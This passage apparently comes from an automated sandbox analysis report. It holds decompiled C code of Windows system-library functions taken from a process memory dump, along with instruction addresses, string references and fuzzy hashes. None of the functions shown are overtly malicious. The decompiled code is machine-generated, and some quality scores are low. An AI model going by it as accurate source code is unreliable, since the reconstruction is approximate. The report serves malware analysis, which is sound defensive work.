				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E00C04120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E00C29830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E00C29990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E00C295D0();
							goto L11;
						} else {
							_t109 = L00C04620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								E00C2F3E0(_t21, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E00C295D0();
										L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00c1f0d3
0x00c1f0d9
0x00c1f0e0
0x00c1f0e7
0x00c1f0f2
0x00c1f0f4
0x00c1f0f8
0x00c1f100
0x00c1f108
0x00c1f10d
0x00c1f115
0x00c1f116
0x00c1f11f
0x00c1f123
0x00c1f124
0x00c1f12c
0x00c1f130
0x00c1f134
0x00c1f13d
0x00c1f144
0x00c1f14b
0x00c1f152
0x00c5bab0
0x00c5bab0
0x00c1f158
0x00c1f158
0x00c1f15a
0x00c1f160
0x00c1f165
0x00c1f166
0x00c1f16f
0x00c1f173
0x00c5baa7
0x00c5baa7
0x00c5baab
0x00000000
0x00c1f179
0x00c1f18d
0x00c1f191
0x00c5baa2
0x00000000
0x00c1f197
0x00c1f19b
0x00c1f1a2
0x00c1f1a9
0x00c1f1af
0x00c1f1b2
0x00c1f1b6
0x00c1f1b9
0x00c1f1c4
0x00c1f1d8
0x00c1f1df
0x00c1f1e3
0x00c1f1eb
0x00c1f1ee
0x00c1f1f4
0x00c1f20f
0x00c5bab7
0x00c5babb
0x00c5bacc
0x00c5bad1
0x00c1f215
0x00c1f218
0x00c1f226
0x00c1f22b
0x00000000
0x00c1f22b
0x00c1f1f6
0x00c1f1f6
0x00c1f1f9
0x00c1f1fb
0x00c1f1fb
0x00c1f1f4
0x00c1f191
0x00c1f173
0x00c1f152
0x00c1f203

Strings

@, xrefs: 00C1F124

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: 0bcfc317d12edd8f3b6857737c79a5dd1636bb1d315e4c848dd9bd434aad8d79
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 6D51BF71504710AFD321DF29C841A6BBBF8FF48710F108A2DFAA5876A1E7B4E944DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C63540, Relevance: 1.4, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00C63540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0xcdd360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E00C20BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E00C63706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E00C2FA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E00C63540;
						E00C2FA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E00C3DDD0( &_v1072, _t75, _t79, _t80, _t81);
						E00C70C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E00C297C0();
					}
					return E00C2B640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E00C63971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E00C63884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E00C2FA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E00C29650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E00C63787(_a4,  &_v352, _t80);
						}
					}
					L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E00C295D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x00c63552
0x00c6355a
0x00c6355d
0x00c63566
0x00c63567
0x00c6357e
0x00c6358f
0x00c635a1
0x00c635a5
0x00c6366b
0x00c6366b
0x00c6366d
0x00c63672
0x00c63679
0x00c63685
0x00c6368d
0x00c6369d
0x00c636a7
0x00c636b8
0x00c636c6
0x00c636c7
0x00c636dc
0x00c636e1
0x00c636e7
0x00c636e9
0x00c636e9
0x00c63703
0x00c63703
0x00c635b5
0x00c635c0
0x00c635c4
0x00000000
0x00000000
0x00c635ca
0x00c635d7
0x00c635e2
0x00c635e6
0x00c635e8
0x00c635f5
0x00c635fa
0x00c63603
0x00c63604
0x00c63609
0x00c6360a
0x00c63612
0x00c63613
0x00c6361e
0x00c63622
0x00c63628
0x00c6362f
0x00c6362f
0x00c63636
0x00c63638
0x00c6363b
0x00c63642
0x00c63642
0x00c63636
0x00c63657
0x00c63657
0x00c6365c
0x00c63662
0x00c63669
0x00000000
0x00000000
0x00000000
0x00000000

Strings

BinaryHash, xrefs: 00C6358F

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: 0ef6566180850fc1a011f885bbce6aeb46abcca1016e3d7d5f6d0e8bc8db77b8
Instruction ID: 76d28ab856c2e3e3899a8457f244248ee0e880e69980da2a22f91aa924419136
Opcode Fuzzy Hash: 0ef6566180850fc1a011f885bbce6aeb46abcca1016e3d7d5f6d0e8bc8db77b8
Instruction Fuzzy Hash: 08416DB2D0016CABDB219A50DC85FEEB77CAB44714F0045A5FA09AB241DB309F889FA4

Uniqueness

Uniqueness Score: -1.00%

Function 00CB05AC, Relevance: 1.4, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00CB05AC(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* _t35;
				signed int _t42;
				char* _t48;
				signed int _t59;
				signed char _t61;
				signed int* _t79;
				void* _t88;

				_v28 = __edx;
				_t79 = __ecx;
				if(E00CB07DF(__ecx, __edx,  &_a4,  &_a8, 0) == 0) {
					L13:
					_t35 = 0;
					L14:
					return _t35;
				}
				_t61 = __ecx[1];
				_t59 = __ecx[0xf];
				_v32 = (_a4 << 0xc) + (__edx - ( *__ecx & __edx) >> 4 << _t61) + ( *__ecx & __edx);
				_v36 = _a8 << 0xc;
				_t42 =  *(_t59 + 0xc) & 0x40000000;
				asm("sbb esi, esi");
				_t88 = ( ~_t42 & 0x0000003c) + 4;
				if(_t42 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t59);
					_push(0xffffffff);
					if(E00C29730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t59) {
						_push(_t61);
						E00CAA80D(_t59, 1, _v20, 0);
						_t88 = 4;
					}
				}
				_t35 = E00CAA854( &_v32,  &_v36, 0, 0x1000, _t88, 0,  *((intOrPtr*)(_t79 + 0x34)),  *((intOrPtr*)(_t79 + 0x38)));
				if(_t35 < 0) {
					goto L14;
				}
				E00CB1293(_t79, _v40, E00CB07DF(_t79, _v28,  &_a4,  &_a8, 1));
				if(E00C07D50() == 0) {
					_t48 = 0x7ffe0380;
				} else {
					_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t48 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					E00CA138A(_t59,  *((intOrPtr*)(_t79 + 0x3c)), _v32, _v36, 0xa);
				}
				goto L13;
			}

0x00cb05c5
0x00cb05ca
0x00cb05d3
0x00cb06db
0x00cb06db
0x00cb06dd
0x00cb06e3
0x00cb06e3
0x00cb05dd
0x00cb05e7
0x00cb05f6
0x00cb0600
0x00cb0607
0x00cb0610
0x00cb0615
0x00cb061a
0x00cb061c
0x00cb061e
0x00cb0624
0x00cb0625
0x00cb0627
0x00cb0628
0x00cb0631
0x00cb0640
0x00cb064d
0x00cb0654
0x00cb0654
0x00cb0631
0x00cb066d
0x00cb0674
0x00000000
0x00000000
0x00cb0692
0x00cb069e
0x00cb06b0
0x00cb06a0
0x00cb06a9
0x00cb06a9
0x00cb06b8
0x00cb06d6
0x00cb06d6
0x00000000

Strings

`, xrefs: 00CB0633

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction ID: 313e40cd3a1710af810d1a4b8712274cd48c432b92a09d1b6dbd27ff6fb193aa
Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction Fuzzy Hash: D031E0326043156BE720DE25CC86F9B77D9AB84754F144229FE58AB280D770EE14CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C63884, Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00C63884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E00C29650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L00C04620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = E00C29650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x00c63893
0x00c63896
0x00c63899
0x00c6389f
0x00c638a0
0x00c638a4
0x00c638a9
0x00c638ac
0x00c638ad
0x00c638ae
0x00c638af
0x00c638b1
0x00c638b4
0x00c638bb
0x00c638bc
0x00c638bd
0x00c638c4
0x00c638c8
0x00c638ca
0x00c638ca
0x00c638d5
0x00c6393e
0x00c63940
0x00c63942
0x00c63952
0x00c63954
0x00c63961
0x00c63961
0x00c63967
0x00c6396e
0x00c6396e
0x00c63947
0x00c6394c
0x00000000
0x00c6394c
0x00c638ea
0x00c638ee
0x00c638f8
0x00c638f9
0x00c638ff
0x00c63900
0x00c63902
0x00c63903
0x00c6390b
0x00c6390f
0x00c63950
0x00000000
0x00c63950
0x00c63915
0x00c6391d
0x00c6391d
0x00c63922
0x00c63926
0x00000000
0x00c63928
0x00c6392b
0x00c6392b
0x00c63935
0x00c63937
0x00c63937
0x00000000
0x00c63935
0x00c63926
0x00c638f0
0x00000000

Strings

BinaryName, xrefs: 00C638B4

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: f18e20c8d9ce3b7a705e36e3258053a11e947de55af58bbaff390baadd448da9
Instruction ID: 2f79a406a2cff13d4a767d7ca893f6bd9eb94e66e7fe56734351cba2f69473bb
Opcode Fuzzy Hash: f18e20c8d9ce3b7a705e36e3258053a11e947de55af58bbaff390baadd448da9
Instruction Fuzzy Hash: 49312532D00559AFEB25DB59C985EBFB7B4EF90B20F114169F914A7281D7709F00CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C1D294, Relevance: 1.3, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00C1D294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0xcdd360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E00C04120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E00C2B640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E00C298D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E00C295D0();
					L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x00c1d29c
0x00c1d2a6
0x00c1d2b1
0x00c1d2b5
0x00c1d2b6
0x00c1d2bc
0x00c1d2bd
0x00c1d2be
0x00c1d2bf
0x00c1d2c2
0x00c1d2c4
0x00c1d2cc
0x00c1d384
0x00c1d34b
0x00c1d34f
0x00c1d350
0x00c1d351
0x00c1d35c
0x00c1d35c
0x00c1d2d6
0x00c1d2da
0x00c1d2e1
0x00c1d361
0x00c1d369
0x00c1d36d
0x00c1d2e3
0x00c1d2e3
0x00c1d2e3
0x00c1d2e5
0x00c1d2ed
0x00c1d2f5
0x00c1d2fa
0x00c1d302
0x00c1d303
0x00c1d30b
0x00c1d30f
0x00c1d313
0x00c1d318
0x00c1d31c
0x00c1d320
0x00c1d379
0x00c1d37d
0x00000000
0x00000000
0x00c5affe
0x00c5b001
0x00c5b011
0x00000000
0x00c1d322
0x00c1d322
0x00c1d330
0x00c1d337
0x00c1d35d
0x00c1d339
0x00c1d33f
0x00c1d38c
0x00c1d38c
0x00c1d33f
0x00c1d349
0x00000000
0x00c1d349

Strings

@, xrefs: 00C1D303

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: a71a21301fadb3e464e960004f77ffff33b2c5d22d7ce6ba74acb5d2cc3400fe
Instruction ID: e2178c208bdeaf1af6ef7720052734be87fb6b70f6ebc0a0c47d685247953114
Opcode Fuzzy Hash: a71a21301fadb3e464e960004f77ffff33b2c5d22d7ce6ba74acb5d2cc3400fe
Instruction Fuzzy Hash: EA31D5B15083019FC311DF29C88199BBBF8EB86754F400A2EF9A683260D734DD84EB93

Uniqueness

Uniqueness Score: -1.00%

Function 00BF1B8F, Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00BF1B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E00C2BB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E00C2A9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E00C2A9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L00C04620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}

0x00bf1b8f
0x00bf1b9a
0x00bf1b9c
0x00bf1b9e
0x00bf1ba3
0x00c47010
0x00c47010
0x00000000
0x00bf1ba9
0x00bf1ba9
0x00bf1bae
0x00000000
0x00bf1bc5
0x00bf1bca
0x00bf1bcf
0x00bf1bd0
0x00bf1bd1
0x00bf1bd2
0x00bf1bd6
0x00bf1bdc
0x00bf1be0
0x00c46ffc
0x00c47000
0x00000000
0x00c47006
0x00c47009
0x00c47009
0x00bf1be6
0x00bf1bec
0x00bf1c0b
0x00bf1c0b
0x00bf1c0c
0x00bf1c11
0x00bf1c12
0x00bf1c15
0x00bf1c1b
0x00bf1c1f
0x00bf1c31
0x00bf1c33
0x00c47026
0x00c47026
0x00bf1c21
0x00bf1c24
0x00bf1c24
0x00bf1bee
0x00bf1bee
0x00bf1bf2
0x00bf1c3a
0x00bf1bf4
0x00bf1bf4
0x00bf1c05
0x00bf1c05
0x00bf1c09
0x00bf1c3e
0x00000000
0x00000000
0x00000000
0x00bf1c09
0x00bf1bec
0x00bf1be0
0x00bf1bae
0x00bf1c2e

Strings

WindowsExcludedProcs, xrefs: 00BF1BC5

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: a0e8c91ce6fd68e825dda46ab2aea6b7f401aff98da340a572d10e773a41fce1
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: A521F27694522CEBCB229A9D8880F6BB7EDEF41B50F154DA5FA05CF200D631DD04E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00C0F716, Relevance: 1.3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C0F716(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				signed char _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr _t23;
				intOrPtr* _t25;

				_t25 = _a8;
				_t17 = __ecx;
				if(_t25 == 0) {
					_t19 = 0xc00000f2;
					L8:
					return _t19;
				}
				if((__ecx & 0xfffffffe) != 0) {
					_t19 = 0xc00000ef;
					goto L8;
				}
				_t19 = 0;
				 *_t25 = 0;
				_t21 = 0;
				_t23 = "Actx ";
				if(__edx != 0) {
					if(__edx == 0xfffffffc) {
						L21:
						_t21 = 0x200;
						L5:
						_t13 =  *((intOrPtr*)( *[fs:0x30] + _t21));
						 *_t25 = _t13;
						L6:
						if(_t13 == 0) {
							if((_t17 & 0x00000001) != 0) {
								 *_t25 = _t23;
							}
						}
						L7:
						goto L8;
					}
					if(__edx == 0xfffffffd) {
						 *_t25 = _t23;
						_t13 = _t23;
						goto L6;
					}
					_t13 =  *((intOrPtr*)(__edx + 0x10));
					 *_t25 = _t13;
					L14:
					if(_t21 == 0) {
						goto L6;
					}
					goto L5;
				}
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 =  *(_t14 + 0x14) & 0x00000007;
					if(_t16 <= 1) {
						_t21 = 0x1f8;
						_t13 = 0;
						goto L14;
					}
					if(_t16 == 2) {
						goto L21;
					}
					if(_t16 != 4) {
						_t19 = 0xc00000f0;
						goto L7;
					}
					_t13 = 0;
					goto L6;
				} else {
					_t21 = 0x1f8;
					goto L5;
				}
			}

0x00c0f71d
0x00c0f722
0x00c0f726
0x00c54770
0x00c0f765
0x00c0f769
0x00c0f769
0x00c0f732
0x00c5477a
0x00000000
0x00c5477a
0x00c0f738
0x00c0f73a
0x00c0f73c
0x00c0f73f
0x00c0f746
0x00c0f778
0x00c0f7a9
0x00c0f7a9
0x00c0f754
0x00c0f75a
0x00c0f75d
0x00c0f75f
0x00c0f761
0x00c0f76f
0x00c0f771
0x00c0f771
0x00c0f76f
0x00c0f763
0x00000000
0x00c0f763
0x00c0f77d
0x00c0f7a3
0x00c0f7a5
0x00000000
0x00c0f7a5
0x00c0f77f
0x00c0f782
0x00c0f784
0x00c0f786
0x00000000
0x00000000
0x00000000
0x00c0f788
0x00c0f748
0x00c0f74d
0x00c0f78d
0x00c0f793
0x00c0f7b7
0x00c0f7bc
0x00000000
0x00c0f7bc
0x00c0f798
0x00000000
0x00000000
0x00c0f79d
0x00c0f7b0
0x00000000
0x00c0f7b0
0x00c0f79f
0x00000000
0x00c0f74f
0x00c0f74f
0x00000000
0x00c0f74f

Strings

Actx , xrefs: 00C0F73F

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: 6a24600a0e4a37d2c9ba54c2a73429d3644dad0663889f8b0b090eb2e7535012
Instruction ID: c8f141b07b61f215633bd79a96de990ca6aad11b8a354f95cf4e4517a0c9f9ac
Opcode Fuzzy Hash: 6a24600a0e4a37d2c9ba54c2a73429d3644dad0663889f8b0b090eb2e7535012
Instruction Fuzzy Hash: CA117C393046028BEB398E1E849072A7299AB95764F34453EE871CBBD1DBA0DDC3C742

Uniqueness

Uniqueness Score: -1.00%

Function 00C98DF1, Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00C98DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0xcc0d50);
				E00C3D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E00C75720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = L00C3DEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				L00C3DEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E00C3D130(_t34, _t39, _t40);
			}

0x00c98df1
0x00c98df1
0x00c98df1
0x00c98df1
0x00c98df1
0x00c98df1
0x00c98df3
0x00c98df8
0x00c98dfd
0x00c98e00
0x00c98e0e
0x00c98e2a
0x00c98e36
0x00c98e38
0x00c98e3c
0x00c98e46
0x00c98e46
0x00c98e36
0x00c98e50
0x00c98e56
0x00c98e59
0x00c98e5c
0x00c98e60
0x00c98e67
0x00c98e6d
0x00c98e73
0x00c98e74
0x00c98eb1
0x00c98ebd

Strings

Critical error detected %lx, xrefs: 00C98E21

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: Critical error detected %lx
